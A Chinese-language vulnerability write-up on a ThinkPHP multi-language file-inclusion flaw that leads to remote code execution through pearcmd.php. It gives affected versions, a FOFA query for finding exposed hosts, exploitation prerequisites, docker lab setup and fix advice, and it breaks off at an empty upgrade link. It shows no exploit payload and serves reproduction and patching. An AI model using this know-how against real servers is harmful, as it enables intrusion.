漏洞描述:
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。
影响版本:
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
FOFA搜索语法:
header="think_lang"
利用条件:
1、多语言开启
2、安装pear扩展
3、知道pearcmd.php路径
4、register_argc_argv=on
环境搭建:
服务器首先要有docker环境,没有的可以先部署一个
1、docker直接拉取thinkphp:6.0.12的漏洞环境镜像:
docker pull vulfocus/thinkphp:6.0.12
2、启动容器,将容器的80端口映射到本机的80端口
docker run --name tp123 -p 80:80 -d 镜像id
浏览器访问:ip+/public/index.php 如下图则搭建成功:
注:使用云服务器师傅们记得在控制台放行一下端口
pearcmd.php,这个文件的一些具体细节可以参考这篇文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
进入容器查看执行 find / -name pearcmd.php 2>/dev/null
查看到pearcmd.php路径为:/usr/local/lib/php/pearcmd.php

修复建议:
1、若无必要,可关闭多语言功能,可参考文档
https://www.kancloud.cn/manual/thinkphp6_0/1037637
https://static.kancloud.cn/manual/thinkphp5/118132
2、官方已发布6.0.14、5.1.42,建议升级至安全版本,链接如下:
